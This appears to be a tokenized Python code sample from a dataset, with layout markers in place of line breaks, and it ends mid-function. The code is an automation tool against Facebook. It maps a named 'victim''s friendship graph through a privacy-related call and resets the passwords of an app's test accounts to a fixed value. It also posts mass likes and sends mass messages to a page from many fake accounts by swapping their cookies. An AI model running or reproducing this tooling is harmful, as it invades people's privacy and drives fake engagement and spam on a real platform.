"hip", "File_", "._", "write_", "(_", "str_", "(_", "friend_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friend_", "in_", "friends_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutual", "_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transiti", "ve_", "=_", "get", "Name_", "(_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "victim", "_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "transiti", "ve_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "element_", "in_", "mutual", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mutual", "Friend", "_", "=_", "get", "Name_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "transiti", "ve_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "mutual", "Friend", "_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Test_", "(_", "app", "ID_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flag_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "flag_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "'_", ":_", "str_", "(_", "start_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "w", "86", "i1", "Py", "Un", "xq", "n", "Fw", "n", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "817", "071", "113", "1135", "011", "387", "114", "489", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "126", "224", "2", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "developer", "s", ".", "facebook", ".", "com", "/", "apps", "/'_", "+_", "app", "ID_", "+_", "'/", "role", "s", "/", "test", "-", "users", "/", "paging", "/'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a", "Pars", "ear_", "=_", "response_", "._", "read_", "(_", ")_", "._", "strip_", "(_", "\"", "for", " ", "(", ";", ";)", ";\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json", "\\u", "dump_", "=_", "json_", "._", "loads_", "(_", "a", "Pars", "ear_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flag_", "=_", "My", "Parser_", "._", "parc", "ero", "s_", "(_", "json", "\\u", "dump_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "+=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "genera", "l", " ", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "change", "Password_", "(_", "app", "ID_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "people_", "=_", "database_", "._", "get", "Users_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "people", "Log", "ged_", "=_", "database_", "._", "get", "User", "s", "Not", "Log", "ged_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "persona", "_", "in_", "people_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "persona", "_", "in_", "people", "Log", "ged_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "str_", "(_", "persona", "_", "[_", "1_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "'", "12345678", "90", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "confirm", "\\u", "password", "'_", ":_", "'", "12345678", "90", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "get", "C", "\\u", "user_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "w", "86", "i1", "Py", "Un", "xq", "n", "Fw", "n", "8", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "a", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "816", "985", "825", "589", "106", "1021", "181", "127", "6", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "rev", "'_", ":_", "'", "126", "277", "6", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "developer", "s", ".", "facebook", ".", "com", "/", "apps", "/", "async", "/", "test", "-", "users", "/", "edit", "/?", "app", "\\u", "id", "='_", "+_", "app", "ID_", "+_", "'&", "test\\u", "user", "\\u", "id", "='_", "+_", "str_", "(_", "persona", "_", "[_", "0_", "]_", ")_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Error", " ", "General", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "like", "Dev_", "(_", "post", "Id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "signal_", "._", "signal_", "(_", "signal_", "._", "SIGINT_", ",_", "signal", "\\u", "handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Cooki", "e", " ", "of", " ", "the", " ", "real", " ", "account_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "master", "Cookie_", "=_", "cj_", "._", "\\u", "cookies_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mass", "Logi", "n", "Test_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "cookie", "Array_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Fi", "rst", " ", "you", " ", "must", " ", "create", " ", "account", "s", ":", " ", "option", " ", "1", ")", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "quantity_", "=_", "raw", "\\u", "input_", "(_", "'", "Insert", " ", "the", " ", "amo", "unt", " ", "of", " ", "likes", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "int_", "(_", "quantity_", ")_", "<=_", "0_", "or_", "int_", "(_", "quantity_", ")_", ">=_", "len_", "(_", "cookie", "Array_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Wro", "ng", " ", "quanti", "ty", ".", " ", "Fi", "rst", " ", "you", " ", "must", " ", "create", " ", "eno", "ugh", " ", "account", "s", " ", "for", " ", "tha", "t", " ", "amo", "unt", " ", "of", " ", "likes", " ", "..", " ", "(", "option", " ", "1", ")", " ", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "quantity_", "=_", "raw", "\\u", "input_", "(_", "'", "Insert", " ", "the", " ", "amo", "unt", " ", "of", " ", "likes", ":", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "=_", "int_", "(_", "quantity_", ")_", "*_", "len_", "(_", "post", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "int_", "(_", "quantity_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "post_", "in_", "range_", "(_", "len_", "(_", "post", "Id_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cj_", "._", "\\u", "cookies_", "=_", "cookie", "Array_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "like", "\\u", "action", "'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ft", "\\u", "ent", "\\u", "identifi", "er", "'_", ":_", "str_", "(_", "post", "Id_", "[_", "post_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "client", "\\u", "id", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'%", "3", "A4", "047", "576", "437", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "root", "id", "'_", ":_", "'", "u\\u", "0", "\\u", "2o", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gift", "occ", "asi", "on", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ft", "[", "tn", "]'_", ":_", "'%", "3", "E", "%", "3", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ft", "[", "type", "]'_", ":_", "'", "20", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "nct", "r", "[\\u", "mod", "]'_", ":_", "'", "page", "let", "\\u", "timeline", "\\u", "recent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "hy", "j", "3", "5", "ym", "3", "Ki", "A", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ph", "stamp", "'_", ":_", "'", "165", "816", "595", "797", "611", "370", "260", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "uf", "i", "/", "like", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "percentage_", "=_", "(_", "j_", "*_", "100.0_", ")_", "/_", "total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "[", "%", ".2", "f", "%%", "]", " ", "of", " ", "likes", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "Un", "know", "n", " ", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cj_", "._", "\\u", "cookies_", "=_", "master", "Cookie_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'", "Finish", "ed", " ", "like", "()", " ", "module", ",", " ", "press", " ", "enter", " ", "to", " ", "continue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delete", "User_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "'%", "s", " ", "catch", " ", "from", " ", "create", " ", "module", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs_", "(_", "str_", "(_", "message_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "\\\\", "n", "'_", "%_", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'", "Press", " ", "enter", " ", "to", " ", "continue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mass", "Message_", "(_", "page_", ",_", "message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mass", "Logi", "n", "Test_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "cookie", "Array_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Fi", "rst", " ", "you", " ", "must", " ", "create", " ", "account", "s", ":", " ", "option", " ", "1", ")", " ", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page", "ID_", "=_", "get", "User", "ID_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "cookie", "Array_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cj_", "._", "\\u", "cookies_", "=_", "cookie", "Array_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "numero_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "numero", "2_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "10_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "numero_", "+=_", "str_", "(_", "random_", "._", "randrange_", "(_", "0_", ",_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "10_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "numero", "2_", "+=_", "str_", "(_", "random_", "._", "randrange_", "(_", "0_", ",_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "action", "\\u", "type", "]'_", ":_", "'", "ma", "-", "type", ":", "user", "-", "generat", "ed", "-", "message", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "author", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "]'_", ":_", "'", "140", "141", "684", "078", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "abs", "olute", "]'_", ":_", "'", "Today", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "relative", "]'_", ":_", "'", "11", ":", "2", "7", "pm", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "timestamp", "\\u", "time", "\\u", "pass", "ed", "]'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "unread", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "clear", "ed", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "forward", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "filter", "ed", "\\u", "content", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "is", "\\u", "spoo", "f", "\\u", "warn", "ing", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "source", "]'_", ":_", "'", "source", ":", "titan", ":", "web", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "body", "]'_", ":_", "message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "has", "\\u", "attach", "ment", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "html", "\\u", "body", "]'_", ":_", "'", "fal", "se", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "specific", "\\u", "to", "\\u", "list", "][", "0", "]'_", ":_", "'", "fb", "id", ":'_", "+_", "page", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "\\u", "batch", "[", "0", "][", "specific", "\\u", "to", "\\u", "list", "][", "1", "]'_", ":_", "'", "fb", "id", ":'_", "+_", 